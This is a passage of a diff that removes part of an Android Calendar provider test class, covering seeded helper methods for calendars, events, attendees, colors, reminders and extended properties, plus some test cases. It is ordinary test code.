-            values.put(Calendars.CAN_ORGANIZER_RESPOND, seed % 2);
-            values.put(Calendars.CAN_MODIFY_TIME_ZONE, seed % 2);
-            values.put(Calendars.MAX_REMINDERS, 3);
-            values.put(Calendars.ALLOWED_REMINDERS, "0,1,2");   // does not include SMS (3)
-            values.put(Calendars.ALLOWED_ATTENDEE_TYPES, "0,1,2,3");
-            values.put(Calendars.ALLOWED_AVAILABILITY, "0,1,2,3");
-            values.put(Calendars.CAL_SYNC1, "SYNC1:" + seedString);
-            values.put(Calendars.CAL_SYNC2, "SYNC2:" + seedString);
-            values.put(Calendars.CAL_SYNC3, "SYNC3:" + seedString);
-            values.put(Calendars.CAL_SYNC4, "SYNC4:" + seedString);
-            values.put(Calendars.CAL_SYNC5, "SYNC5:" + seedString);
-            values.put(Calendars.CAL_SYNC6, "SYNC6:" + seedString);
-
-            return values;
-        }
-
-        /**
-         * Creates a set of values with just the updates and modifies the
-         * original values to the expected values
-         */
-        public static ContentValues getUpdateCalendarValuesWithOriginal(
-                ContentValues original, int seed) {
-            ContentValues values = new ContentValues();
-            String seedString = Long.toString(seed);
-
-            values.put(Calendars.CALENDAR_DISPLAY_NAME, "DISPLAY_" + seedString);
-            values.put(Calendars.CALENDAR_COLOR, 0xff000000 + seed);
-            values.put(Calendars.VISIBLE, seed % 2);
-            values.put(Calendars.SYNC_EVENTS, seed % 2);
-
-            original.putAll(values);
-            original.put(Calendars.DIRTY, 1);
-
-            return values;
-        }
-
-        public static int deleteCalendarById(ContentResolver resolver, long id) {
-            return resolver.delete(Calendars.CONTENT_URI, Calendars._ID + "=?",
-                    new String[] { Long.toString(id) });
-        }
-
-        public static int deleteCalendarByAccount(ContentResolver resolver, String account) {
-            return resolver.delete(Calendars.CONTENT_URI, Calendars.ACCOUNT_NAME + "=?",
-                    new String[] { account });
-        }
-
-        public static Cursor getCalendarsByAccount(ContentResolver resolver, String account) {
-            String selection = Calendars.ACCOUNT_TYPE + "=?";
-            String[] selectionArgs;
-            if (account != null) {
-                selection += " AND " + Calendars.ACCOUNT_NAME + "=?";
-                selectionArgs = new String[2];
-                selectionArgs[1] = account;
-            } else {
-                selectionArgs = new String[1];
-            }
-            selectionArgs[0] = CTS_TEST_TYPE;
-
-            return resolver.query(Calendars.CONTENT_URI, CALENDARS_SYNC_PROJECTION, selection,
-                    selectionArgs, null);
-        }
-    }
-
-    /**
-     * Helper class for manipulating entries in the _sync_state table.
-     */
-    private static class SyncStateHelper {
-        public static final String[] SYNCSTATE_PROJECTION = new String[] {
-            SyncState._ID,
-            SyncState.ACCOUNT_NAME,
-            SyncState.ACCOUNT_TYPE,
-            SyncState.DATA
-        };
-
-        private static final byte[] SAMPLE_SYNC_DATA = {
-            (byte) 'H', (byte) 'e', (byte) 'l', (byte) 'l', (byte) 'o'
-        };
-
-        private SyncStateHelper() {}      // do not instantiate
-
-        /**
-         * Creates a new set of values for creating a new _sync_state entry.
-         */
-        public static ContentValues getNewSyncStateValues(String account) {
-            ContentValues values = new ContentValues();
-            values.put(SyncState.DATA, SAMPLE_SYNC_DATA);
-            values.put(SyncState.ACCOUNT_NAME, account);
-            values.put(SyncState.ACCOUNT_TYPE, CTS_TEST_TYPE);
-            return values;
-        }
-
-        /**
-         * Retrieves the _sync_state entry with the specified ID.
-         */
-        public static Cursor getSyncStateById(ContentResolver resolver, long id) {
-            Uri uri = ContentUris.withAppendedId(SyncState.CONTENT_URI, id);
-            return resolver.query(uri, SYNCSTATE_PROJECTION, null, null, null);
-        }
-
-        /**
-         * Retrieves the _sync_state entry for the specified account.
-         */
-        public static Cursor getSyncStateByAccount(ContentResolver resolver, String account) {
-            assertNotNull(account);
-            String selection = SyncState.ACCOUNT_TYPE + "=? AND " + SyncState.ACCOUNT_NAME + "=?";
-            String[] selectionArgs = new String[] { CTS_TEST_TYPE, account };
-
-            return resolver.query(SyncState.CONTENT_URI, SYNCSTATE_PROJECTION, selection,
-                    selectionArgs, null);
-        }
-
-        /**
-         * Deletes the _sync_state entry with the specified ID.  Always done as app.
-         */
-        public static int deleteSyncStateById(ContentResolver resolver, long id) {
-            Uri uri = ContentUris.withAppendedId(SyncState.CONTENT_URI, id);
-            return resolver.delete(uri, null, null);
-        }
-
-        /**
-         * Deletes the _sync_state entry associated with the specified account.  Can be done
-         * as app or sync adapter.
-         */
-        public static int deleteSyncStateByAccount(ContentResolver resolver, String account,
-                boolean asSyncAdapter) {
-            Uri uri = SyncState.CONTENT_URI;
-            if (asSyncAdapter) {
-                uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
-            }
-            return resolver.delete(uri, SyncState.ACCOUNT_NAME + "=?",
-                    new String[] { account });
-        }
-    }
-
-    // @formatter:off
-    private static class EventHelper {
-        public static final String[] EVENTS_PROJECTION = new String[] {
-            Events._ID,
-            Events.ACCOUNT_NAME,
-            Events.ACCOUNT_TYPE,
-            Events.OWNER_ACCOUNT,
-            // Events.ORGANIZER_CAN_RESPOND, from Calendars
-            // Events.CAN_CHANGE_TZ, from Calendars
-            // Events.MAX_REMINDERS, from Calendars
-            Events.CALENDAR_ID,
-            // Events.CALENDAR_DISPLAY_NAME, from Calendars
-            // Events.CALENDAR_COLOR, from Calendars
-            // Events.CALENDAR_ACL, from Calendars
-            // Events.CALENDAR_VISIBLE, from Calendars
-            Events.SYNC_DATA3,
-            Events.SYNC_DATA6,
-            Events.TITLE,
-            Events.EVENT_LOCATION,
-            Events.DESCRIPTION,
-            Events.STATUS,
-            Events.SELF_ATTENDEE_STATUS,
-            Events.DTSTART,
-            Events.DTEND,
-            Events.EVENT_TIMEZONE,
-            Events.EVENT_END_TIMEZONE,
-            Events.EVENT_COLOR,
-            Events.EVENT_COLOR_KEY,
-            Events.DURATION,
-            Events.ALL_DAY,
-            Events.ACCESS_LEVEL,
-            Events.AVAILABILITY,
-            Events.HAS_ALARM,
-            Events.HAS_EXTENDED_PROPERTIES,
-            Events.RRULE,
-            Events.RDATE,
-            Events.EXRULE,
-            Events.EXDATE,
-            Events.ORIGINAL_ID,
-            Events.ORIGINAL_SYNC_ID,
-            Events.ORIGINAL_INSTANCE_TIME,
-            Events.ORIGINAL_ALL_DAY,
-            Events.LAST_DATE,
-            Events.HAS_ATTENDEE_DATA,
-            Events.GUESTS_CAN_MODIFY,
-            Events.GUESTS_CAN_INVITE_OTHERS,
-            Events.GUESTS_CAN_SEE_GUESTS,
-            Events.ORGANIZER,
-            Events.DELETED,
-            Events._SYNC_ID,
-            Events.SYNC_DATA4,
-            Events.SYNC_DATA5,
-            Events.DIRTY,
-            Events.SYNC_DATA8,
-            Events.SYNC_DATA2,
-            Events.SYNC_DATA1,
-            Events.SYNC_DATA2,
-            Events.SYNC_DATA3,
-            Events.SYNC_DATA4,
-            Events.MUTATORS,
-        };
-        // @formatter:on
-
-        private EventHelper() {}    // do not instantiate this class
-
-        /**
-         * Constructs a set of name/value pairs that can be used to create a Calendar event.
-         * Various fields are generated from the seed value.
-         */
-        public static ContentValues getNewEventValues(
-                String account, int seed, long calendarId, boolean asSyncAdapter) {
-            String seedString = Long.toString(seed);
-            ContentValues values = new ContentValues();
-            values.put(Events.ORGANIZER, "ORGANIZER:" + seedString);
-
-            values.put(Events.TITLE, "TITLE:" + seedString);
-            values.put(Events.EVENT_LOCATION, "LOCATION_" + seedString);
-
-            values.put(Events.CALENDAR_ID, calendarId);
-
-            values.put(Events.DESCRIPTION, "DESCRIPTION:" + seedString);
-            values.put(Events.STATUS, seed % 2);    // avoid STATUS_CANCELED for general testing
-
-            values.put(Events.DTSTART, seed);
-            values.put(Events.DTEND, seed + DateUtils.HOUR_IN_MILLIS);
-            values.put(Events.EVENT_TIMEZONE, TIME_ZONES[seed % TIME_ZONES.length]);
-            values.put(Events.EVENT_COLOR, seed);
-            // values.put(Events.EVENT_TIMEZONE2, TIME_ZONES[(seed +1) %
-            // TIME_ZONES.length]);
-            if ((seed % 2) == 0) {
-                // Either set to zero, or leave unset to get default zero.
-                // Must be 0 or dtstart/dtend will get adjusted.
-                values.put(Events.ALL_DAY, 0);
-            }
-            values.put(Events.ACCESS_LEVEL, seed % 4);
-            values.put(Events.AVAILABILITY, seed % 2);
-            values.put(Events.HAS_EXTENDED_PROPERTIES, seed % 2);
-            values.put(Events.HAS_ATTENDEE_DATA, seed % 2);
-            values.put(Events.GUESTS_CAN_MODIFY, seed % 2);
-            values.put(Events.GUESTS_CAN_INVITE_OTHERS, seed % 2);
-            values.put(Events.GUESTS_CAN_SEE_GUESTS, seed % 2);
-
-            // Default is STATUS_TENTATIVE (0).  We either set it to that explicitly, or leave
-            // it set to the default.
-            if (seed != Events.STATUS_TENTATIVE) {
-                values.put(Events.SELF_ATTENDEE_STATUS, Events.STATUS_TENTATIVE);
-            }
-
-            if (asSyncAdapter) {
-                values.put(Events._SYNC_ID, "SYNC_ID:" + seedString);
-                values.put(Events.SYNC_DATA4, "SYNC_V:" + seedString);
-                values.put(Events.SYNC_DATA5, "SYNC_TIME:" + seedString);
-                values.put(Events.SYNC_DATA3, "HTML:" + seedString);
-                values.put(Events.SYNC_DATA6, "COMMENTS:" + seedString);
-                values.put(Events.DIRTY, 0);
-                values.put(Events.SYNC_DATA8, "0");
-            } else {
-                // only the sync adapter can set the DIRTY flag
-                //values.put(Events.DIRTY, 1);
-            }
-            // values.put(Events.SYNC1, "SYNC1:" + seedString);
-            // values.put(Events.SYNC2, "SYNC2:" + seedString);
-            // values.put(Events.SYNC3, "SYNC3:" + seedString);
-            // values.put(Events.SYNC4, "SYNC4:" + seedString);
-            // values.put(Events.SYNC5, "SYNC5:" + seedString);
-//            Events.RRULE,
-//            Events.RDATE,
-//            Events.EXRULE,
-//            Events.EXDATE,
-//            // Events.ORIGINAL_ID
-//            Events.ORIGINAL_EVENT, // rename ORIGINAL_SYNC_ID
-//            Events.ORIGINAL_INSTANCE_TIME,
-//            Events.ORIGINAL_ALL_DAY,
-
-            return values;
-        }
-
-        /**
-         * Constructs a set of name/value pairs that can be used to create a recurring
-         * Calendar event.
-         *
-         * A duration of "P1D" is treated as an all-day event.
-         *
-         * @param startWhen Starting date/time in RFC 3339 format
-         * @param duration Event duration, in RFC 2445 duration format
-         * @param rrule Recurrence rule
-         * @return name/value pairs to use when creating event
-         */
-        public static ContentValues getNewRecurringEventValues(String account, int seed,
-                long calendarId, boolean asSyncAdapter, String startWhen, String duration,
-                String rrule) {
-
-            // Set up some general stuff.
-            ContentValues values = getNewEventValues(account, seed, calendarId, asSyncAdapter);
-
-            // Replace the DTSTART field.
-            String timeZone = values.getAsString(Events.EVENT_TIMEZONE);
-            Time time = new Time(timeZone);
-            time.parse3339(startWhen);
-            values.put(Events.DTSTART, time.toMillis(false));
-
-            // Add in the recurrence-specific fields, and drop DTEND.
-            values.put(Events.RRULE, rrule);
-            values.put(Events.DURATION, duration);
-            values.remove(Events.DTEND);
-
-            return values;
-        }
-
-        /**
-         * Constructs the basic name/value pairs required for an exception to a recurring event.
-         *
-         * @param instanceStartMillis The start time of the instance
-         * @return name/value pairs to use when creating event
-         */
-        public static ContentValues getNewExceptionValues(long instanceStartMillis) {
-            ContentValues values = new ContentValues();
-            values.put(Events.ORIGINAL_INSTANCE_TIME, instanceStartMillis);
-
-            return values;
-        }
-
-        public static ContentValues getUpdateEventValuesWithOriginal(ContentValues original,
-                int seed, boolean asSyncAdapter) {
-            String seedString = Long.toString(seed);
-            ContentValues values = new ContentValues();
-
-            values.put(Events.TITLE, "TITLE:" + seedString);
-            values.put(Events.EVENT_LOCATION, "LOCATION_" + seedString);
-            values.put(Events.DESCRIPTION, "DESCRIPTION:" + seedString);
-            values.put(Events.STATUS, seed % 3);
-
-            values.put(Events.DTSTART, seed);
-            values.put(Events.DTEND, seed + DateUtils.HOUR_IN_MILLIS);
-            values.put(Events.EVENT_TIMEZONE, TIME_ZONES[seed % TIME_ZONES.length]);
-            // values.put(Events.EVENT_TIMEZONE2, TIME_ZONES[(seed +1) %
-            // TIME_ZONES.length]);
-            values.put(Events.ACCESS_LEVEL, seed % 4);
-            values.put(Events.AVAILABILITY, seed % 2);
-            values.put(Events.HAS_EXTENDED_PROPERTIES, seed % 2);
-            values.put(Events.HAS_ATTENDEE_DATA, seed % 2);
-            values.put(Events.GUESTS_CAN_MODIFY, seed % 2);
-            values.put(Events.GUESTS_CAN_INVITE_OTHERS, seed % 2);
-            values.put(Events.GUESTS_CAN_SEE_GUESTS, seed % 2);
-            if (asSyncAdapter) {
-                values.put(Events._SYNC_ID, "SYNC_ID:" + seedString);
-                values.put(Events.SYNC_DATA4, "SYNC_V:" + seedString);
-                values.put(Events.SYNC_DATA5, "SYNC_TIME:" + seedString);
-                values.put(Events.DIRTY, 0);
-            }
-            original.putAll(values);
-            return values;
-        }
-
-        public static void addDefaultReadOnlyValues(ContentValues values, String account,
-                boolean asSyncAdapter) {
-            values.put(Events.SELF_ATTENDEE_STATUS, Events.STATUS_TENTATIVE);
-            values.put(Events.DELETED, 0);
-            values.put(Events.DIRTY, asSyncAdapter ? 0 : 1);
-            values.put(Events.OWNER_ACCOUNT, CalendarHelper.generateCalendarOwnerEmail(account));
-            values.put(Events.ACCOUNT_TYPE, CTS_TEST_TYPE);
-            values.put(Events.ACCOUNT_NAME, account);
-        }
-
-        /**
-         * Generates a RFC2445-format duration string.
-         */
-        private static String generateDurationString(long durationMillis, boolean isAllDay) {
-            long durationSeconds = durationMillis / 1000;
-
-            // The server may react differently to an all-day event specified as "P1D" than
-            // it will to "PT86400S"; see b/1594638.
-            if (isAllDay && (durationSeconds % 86400) == 0) {
-                return "P" + durationSeconds / 86400 + "D";
-            } else {
-                return "PT" + durationSeconds + "S";
-            }
-        }
-
-        /**
-         * Deletes the event, and updates the values.
-         * @param resolver The resolver to issue the query against.
-         * @param uri The deletion URI.
-         * @param values Set of values to update (sets DELETED and DIRTY).
-         * @return The number of rows modified.
-         */
-        public static int deleteEvent(ContentResolver resolver, Uri uri, ContentValues values) {
-            values.put(Events.DELETED, 1);
-            values.put(Events.DIRTY, 1);
-            return resolver.delete(uri, null, null);
-        }
-
-        public static int deleteEventAsSyncAdapter(ContentResolver resolver, Uri uri,
-                String account) {
-            Uri syncUri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
-            return resolver.delete(syncUri, null, null);
-        }
-
-        public static Cursor getEventsByAccount(ContentResolver resolver, String account) {
-            String selection = Calendars.ACCOUNT_TYPE + "=?";
-            String[] selectionArgs;
-            if (account != null) {
-                selection += " AND " + Calendars.ACCOUNT_NAME + "=?";
-                selectionArgs = new String[2];
-                selectionArgs[1] = account;
-            } else {
-                selectionArgs = new String[1];
-            }
-            selectionArgs[0] = CTS_TEST_TYPE;
-            return resolver.query(Events.CONTENT_URI, EVENTS_PROJECTION, selection, selectionArgs,
-                    null);
-        }
-
-        public static Cursor getEventByUri(ContentResolver resolver, Uri uri) {
-            return resolver.query(uri, EVENTS_PROJECTION, null, null, null);
-        }
-
-        /**
-         * Looks up the specified Event in the database and returns the "selfAttendeeStatus"
-         * value.
-         */
-        public static int lookupSelfAttendeeStatus(ContentResolver resolver, long eventId) {
-            return getIntFromDatabase(resolver, Events.CONTENT_URI, eventId,
-                    Events.SELF_ATTENDEE_STATUS);
-        }
-
-        /**
-         * Looks up the specified Event in the database and returns the "hasAlarm"
-         * value.
-         */
-        public static int lookupHasAlarm(ContentResolver resolver, long eventId) {
-            return getIntFromDatabase(resolver, Events.CONTENT_URI, eventId,
-                    Events.HAS_ALARM);
-        }
-    }
-
-    /**
-     * Helper class for manipulating entries in the Attendees table.
-     */
-    private static class AttendeeHelper {
-        public static final String[] ATTENDEES_PROJECTION = new String[] {
-            Attendees._ID,
-            Attendees.EVENT_ID,
-            Attendees.ATTENDEE_NAME,
-            Attendees.ATTENDEE_EMAIL,
-            Attendees.ATTENDEE_STATUS,
-            Attendees.ATTENDEE_RELATIONSHIP,
-            Attendees.ATTENDEE_TYPE
-        };
-        // indexes into projection
-        public static final int ATTENDEES_ID_INDEX = 0;
-        public static final int ATTENDEES_EVENT_ID_INDEX = 1;
-
-        // do not instantiate
-        private AttendeeHelper() {}
-
-        /**
-         * Adds a new attendee to the specified event.
-         *
-         * @return the _id of the new attendee, or -1 on failure
-         */
-        public static long addAttendee(ContentResolver resolver, long eventId, String name,
-                String email, int status, int relationship, int type) {
-            Uri uri = Attendees.CONTENT_URI;
-
-            ContentValues attendee = new ContentValues();
-            attendee.put(Attendees.EVENT_ID, eventId);
-            attendee.put(Attendees.ATTENDEE_NAME, name);
-            attendee.put(Attendees.ATTENDEE_EMAIL, email);
-            attendee.put(Attendees.ATTENDEE_STATUS, status);
-            attendee.put(Attendees.ATTENDEE_RELATIONSHIP, relationship);
-            attendee.put(Attendees.ATTENDEE_TYPE, type);
-            Uri result = resolver.insert(uri, attendee);
-            return ContentUris.parseId(result);
-        }
-
-        /**
-         * Finds all Attendees rows for the specified event and email address.  The returned
-         * cursor will use {@link AttendeeHelper#ATTENDEES_PROJECTION}.
-         */
-        public static Cursor findAttendeesByEmail(ContentResolver resolver, long eventId,
-                String email) {
-            return resolver.query(Attendees.CONTENT_URI, ATTENDEES_PROJECTION,
-                    Attendees.EVENT_ID + "=? AND " + Attendees.ATTENDEE_EMAIL + "=?",
-                    new String[] { String.valueOf(eventId), email }, null);
-        }
-    }
-
-    /**
-     * Helper class for manipulating entries in the Colors table.
-     */
-    private static class ColorHelper {
-        public static final String WHERE_COLOR_ACCOUNT = Colors.ACCOUNT_NAME + "=? AND "
-                + Colors.ACCOUNT_TYPE + "=?";
-        public static final String WHERE_COLOR_ACCOUNT_AND_INDEX = WHERE_COLOR_ACCOUNT + " AND "
-                + Colors.COLOR_KEY + "=?";
-
-        public static final String[] COLORS_PROJECTION = new String[] {
-                Colors._ID, // 0
-                Colors.ACCOUNT_NAME, // 1
-                Colors.ACCOUNT_TYPE, // 2
-                Colors.DATA, // 3
-                Colors.COLOR_TYPE, // 4
-                Colors.COLOR_KEY, // 5
-                Colors.COLOR, // 6
-        };
-        // indexes into projection
-        public static final int COLORS_ID_INDEX = 0;
-        public static final int COLORS_INDEX_INDEX = 5;
-        public static final int COLORS_COLOR_INDEX = 6;
-
-        public static final int[] DEFAULT_TYPES = new int[] {
-                Colors.TYPE_CALENDAR, Colors.TYPE_CALENDAR, Colors.TYPE_CALENDAR,
-                Colors.TYPE_CALENDAR, Colors.TYPE_EVENT, Colors.TYPE_EVENT, Colors.TYPE_EVENT,
-                Colors.TYPE_EVENT,
-        };
-        public static final int[] DEFAULT_COLORS = new int[] {
-                0xFFFF0000, 0xFF00FF00, 0xFF0000FF, 0xFFAA00AA, 0xFF00AAAA, 0xFF333333, 0xFFAAAA00,
-                0xFFAAAAAA,
-        };
-        public static final String[] DEFAULT_INDICES = new String[] {
-                "000", "001", "010", "011", "100", "101", "110", "111",
-        };
-
-        public static final int C_COLOR_0 = 0;
-        public static final int C_COLOR_1 = 1;
-        public static final int C_COLOR_2 = 2;
-        public static final int C_COLOR_3 = 3;
-        public static final int E_COLOR_0 = 4;
-        public static final int E_COLOR_1 = 5;
-        public static final int E_COLOR_2 = 6;
-        public static final int E_COLOR_3 = 7;
-
-        // do not instantiate
-        private ColorHelper() {
-        }
-
-        /**
-         * Adds a new color to the colors table.
-         *
-         * @return the _id of the new color, or -1 on failure
-         */
-        public static long addColor(ContentResolver resolver, String accountName,
-                String accountType, String data, String index, int type, int color) {
-            Uri uri = asSyncAdapter(Colors.CONTENT_URI, accountName, accountType);
-
-            ContentValues colorValues = new ContentValues();
-            colorValues.put(Colors.DATA, data);
-            colorValues.put(Colors.COLOR_KEY, index);
-            colorValues.put(Colors.COLOR_TYPE, type);
-            colorValues.put(Colors.COLOR, color);
-            Uri result = resolver.insert(uri, colorValues);
-            return ContentUris.parseId(result);
-        }
-
-        /**
-         * Finds the color specified by an account name/type and a color index.
-         * The returned cursor will use {@link ColorHelper#COLORS_PROJECTION}.
-         */
-        public static Cursor findColorByIndex(ContentResolver resolver, String accountName,
-                String accountType, String index) {
-            return resolver.query(Colors.CONTENT_URI, COLORS_PROJECTION,
-                    WHERE_COLOR_ACCOUNT_AND_INDEX,
-                    new String[] {accountName, accountType, index}, null);
-        }
-
-        public static Cursor findColorsByAccount(ContentResolver resolver, String accountName,
-                String accountType) {
-            return resolver.query(Colors.CONTENT_URI, COLORS_PROJECTION, WHERE_COLOR_ACCOUNT,
-                    new String[] { accountName, accountType }, null);
-        }
-
-        /**
-         * Adds a default set of test colors to the Colors table under the given
-         * account.
-         *
-         * @return true if the default colors were added successfully
-         */
-        public static boolean addDefaultColorsToAccount(ContentResolver resolver,
-                String accountName, String accountType) {
-            for (int i = 0; i < DEFAULT_INDICES.length; i++) {
-                long id = addColor(resolver, accountName, accountType, null, DEFAULT_INDICES[i],
-                        DEFAULT_TYPES[i], DEFAULT_COLORS[i]);
-                if (id == -1) {
-                    return false;
-                }
-            }
-            return true;
-        }
-
-        public static void deleteColorsByAccount(ContentResolver resolver, String accountName,
-                String accountType) {
-            Uri uri = asSyncAdapter(Colors.CONTENT_URI, accountName, accountType);
-            resolver.delete(uri, WHERE_COLOR_ACCOUNT, new String[] { accountName, accountType });
-        }
-    }
-
-
-    /**
-     * Helper class for manipulating entries in the Reminders table.
-     */
-    private static class ReminderHelper {
-        public static final String[] REMINDERS_PROJECTION = new String[] {
-            Reminders._ID,
-            Reminders.EVENT_ID,
-            Reminders.MINUTES,
-            Reminders.METHOD
-        };
-        // indexes into projection
-        public static final int REMINDERS_ID_INDEX = 0;
-        public static final int REMINDERS_EVENT_ID_INDEX = 1;
-        public static final int REMINDERS_MINUTES_INDEX = 2;
-        public static final int REMINDERS_METHOD_INDEX = 3;
-
-        // do not instantiate
-        private ReminderHelper() {}
-
-        /**
-         * Adds a new reminder to the specified event.
-         *
-         * @return the _id of the new reminder, or -1 on failure
-         */
-        public static long addReminder(ContentResolver resolver, long eventId, int minutes,
-                int method) {
-            Uri uri = Reminders.CONTENT_URI;
-
-            ContentValues reminder = new ContentValues();
-            reminder.put(Reminders.EVENT_ID, eventId);
-            reminder.put(Reminders.MINUTES, minutes);
-            reminder.put(Reminders.METHOD, method);
-            Uri result = resolver.insert(uri, reminder);
-            return ContentUris.parseId(result);
-        }
-
-        /**
-         * Finds all Reminders rows for the specified event.  The returned cursor will use
-         * {@link ReminderHelper#REMINDERS_PROJECTION}.
-         */
-        public static Cursor findRemindersByEventId(ContentResolver resolver, long eventId) {
-            return resolver.query(Reminders.CONTENT_URI, REMINDERS_PROJECTION,
-                    Reminders.EVENT_ID + "=?", new String[] { String.valueOf(eventId) }, null);
-        }
-
-        /**
-         * Looks up the specified Reminders row and returns the "method" value.
-         */
-        public static int lookupMethod(ContentResolver resolver, long remId) {
-            return getIntFromDatabase(resolver, Reminders.CONTENT_URI, remId,
-                    Reminders.METHOD);
-        }
-   }
-
-    /**
-     * Helper class for manipulating entries in the ExtendedProperties table.
-     */
-    private static class ExtendedPropertiesHelper {
-        public static final String[] EXTENDED_PROPERTIES_PROJECTION = new String[] {
-            ExtendedProperties._ID,
-            ExtendedProperties.EVENT_ID,
-            ExtendedProperties.NAME,
-            ExtendedProperties.VALUE
-        };
-        // indexes into projection
-        public static final int EXTENDED_PROPERTIES_ID_INDEX = 0;
-        public static final int EXTENDED_PROPERTIES_EVENT_ID_INDEX = 1;
-        public static final int EXTENDED_PROPERTIES_NAME_INDEX = 2;
-        public static final int EXTENDED_PROPERTIES_VALUE_INDEX = 3;
-
-        // do not instantiate
-        private ExtendedPropertiesHelper() {}
-
-        /**
-         * Adds a new ExtendedProperty for the specified event.  Runs as sync adapter.
-         *
-         * @return the _id of the new ExtendedProperty, or -1 on failure
-         */
-        public static long addExtendedProperty(ContentResolver resolver, String account,
-                long eventId, String name, String value) {
-             Uri uri = asSyncAdapter(ExtendedProperties.CONTENT_URI, account, CTS_TEST_TYPE);
-
-            ContentValues ep = new ContentValues();
-            ep.put(ExtendedProperties.EVENT_ID, eventId);
-            ep.put(ExtendedProperties.NAME, name);
-            ep.put(ExtendedProperties.VALUE, value);
-            Uri result = resolver.insert(uri, ep);
-            return ContentUris.parseId(result);
-        }
-
-        /**
-         * Finds all ExtendedProperties rows for the specified event.  The returned cursor will
-         * use {@link ExtendedPropertiesHelper#EXTENDED_PROPERTIES_PROJECTION}.
-         */
-        public static Cursor findExtendedPropertiesByEventId(ContentResolver resolver,
-                long eventId) {
-            return resolver.query(ExtendedProperties.CONTENT_URI, EXTENDED_PROPERTIES_PROJECTION,
-                    ExtendedProperties.EVENT_ID + "=?",
-                    new String[] { String.valueOf(eventId) }, null);
-        }
-
-        /**
-         * Finds an ExtendedProperties entry with a matching name for the specified event, and
-         * returns the value.  Throws an exception if we don't find exactly one row.
-         */
-        public static String lookupValueByName(ContentResolver resolver, long eventId,
-                String name) {
-            Cursor cursor = resolver.query(ExtendedProperties.CONTENT_URI,
-                    EXTENDED_PROPERTIES_PROJECTION,
-                    ExtendedProperties.EVENT_ID + "=? AND " + ExtendedProperties.NAME + "=?",
-                    new String[] { String.valueOf(eventId), name }, null);
-
-            try {
-                if (cursor.getCount() != 1) {
-                    throw new RuntimeException("Got " + cursor.getCount() + " results, expected 1");
-                }
-
-                cursor.moveToFirst();
-                return cursor.getString(EXTENDED_PROPERTIES_VALUE_INDEX);
-            } finally {
-                if (cursor != null) {
-                    cursor.close();
-                }
-            }
-        }
-    }
-
-    /**
-     * Creates an updated URI that includes query parameters that identify the source as a
-     * sync adapter.
-     */
-    static Uri asSyncAdapter(Uri uri, String account, String accountType) {
-        return uri.buildUpon()
-                .appendQueryParameter(android.provider.CalendarContract.CALLER_IS_SYNCADAPTER,
-                        "true")
-                .appendQueryParameter(Calendars.ACCOUNT_NAME, account)
-                .appendQueryParameter(Calendars.ACCOUNT_TYPE, accountType).build();
-    }
-
-    /**
-     * Returns the value of the specified row and column in the Events table, as an integer.
-     * Throws an exception if the specified row or column doesn't exist or doesn't contain
-     * an integer (e.g. null entry).
-     */
-    private static int getIntFromDatabase(ContentResolver resolver, Uri uri, long rowId,
-            String columnName) {
-        String[] projection = { columnName };
-        String selection = SQL_WHERE_ID;
-        String[] selectionArgs = { String.valueOf(rowId) };
-
-        Cursor c = resolver.query(uri, projection, selection, selectionArgs, null);
-        try {
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            return c.getInt(0);
-        } finally {
-            c.close();
-        }
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
-    }
-
-    @MediumTest
-    public void testCalendarCreationAndDeletion() {
-        String account = "cc1_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-        long id = createAndVerifyCalendar(account, seed++, null);
-
-        removeAndVerifyCalendar(account, id);
-    }
-
-    /**
-     * Tests whether the default projections work.  We don't need to have any data in
-     * the calendar, since it's testing the database schema.
-     */
-    @MediumTest
-    public void testDefaultProjections() {
-        String account = "dproj_account";
-        int seed = 0;
-
-        // Clean up just in case
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-        long id = createAndVerifyCalendar(account, seed++, null);
-
-        Cursor c;
-        Uri uri;
-        // Calendars
-        c = mContentResolver.query(Calendars.CONTENT_URI, null, null, null, null);
-        c.close();
-        // Events
-        c = mContentResolver.query(Events.CONTENT_URI, null, null, null, null);
-        c.close();
-        // Instances
-        uri = Uri.withAppendedPath(Instances.CONTENT_URI, "0/1");
-        c = mContentResolver.query(uri, null, null, null, null);
-        c.close();
-        // Attendees
-        c = mContentResolver.query(Attendees.CONTENT_URI, null, null, null, null);
-        c.close();
-        // Reminders (only REMINDERS_ID currently uses default projection)
-        uri = ContentUris.withAppendedId(Reminders.CONTENT_URI, 0);
-        c = mContentResolver.query(uri, null, null, null, null);
-        c.close();
-        // CalendarAlerts
-        c = mContentResolver.query(CalendarContract.CalendarAlerts.CONTENT_URI,
-                null, null, null, null);
-        c.close();
-        // CalendarCache
-        c = mContentResolver.query(CalendarContract.CalendarCache.URI,
-                null, null, null, null);
-        c.close();
-        // CalendarEntity
-        c = mContentResolver.query(CalendarContract.CalendarEntity.CONTENT_URI,
-                null, null, null, null);
-        c.close();
-        // EventEntities
-        c = mContentResolver.query(CalendarContract.EventsEntity.CONTENT_URI,
-                null, null, null, null);
-        c.close();
-        // EventDays
-        uri = Uri.withAppendedPath(CalendarContract.EventDays.CONTENT_URI, "1/2");
-        c = mContentResolver.query(uri, null, null, null, null);
-        c.close();
-        // ExtendedProperties
-        c = mContentResolver.query(CalendarContract.ExtendedProperties.CONTENT_URI,
-                null, null, null, null);
-        c.close();
-
-        removeAndVerifyCalendar(account, id);
-    }
-
-    /**
-     * Exercises the EventsEntity class.
-     */
-    @MediumTest
-    public void testEventsEntityQuery() {
-        String account = "eeq_account";
-        int seed = 0;
-
-        // Clean up just in case.
-        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
-        // Create calendar.
-        long calendarId = createAndVerifyCalendar(account, seed++, null);
-
-        // Create three events.  We need to make sure SELF_ATTENDEE_STATUS isn't set, because
-        // that causes the provider to generate an Attendees entry, and that'll throw off
-        // our expected count.
-        ContentValues eventValues;
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        eventValues.remove(Events.SELF_ATTENDEE_STATUS);
-        long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        assertTrue(eventId1 >= 0);
-
-        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
-        eventValues.remove(Events.SELF_ATTENDEE_STATUS);
-        long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-        assertTrue(eventId2 >= 0);
-
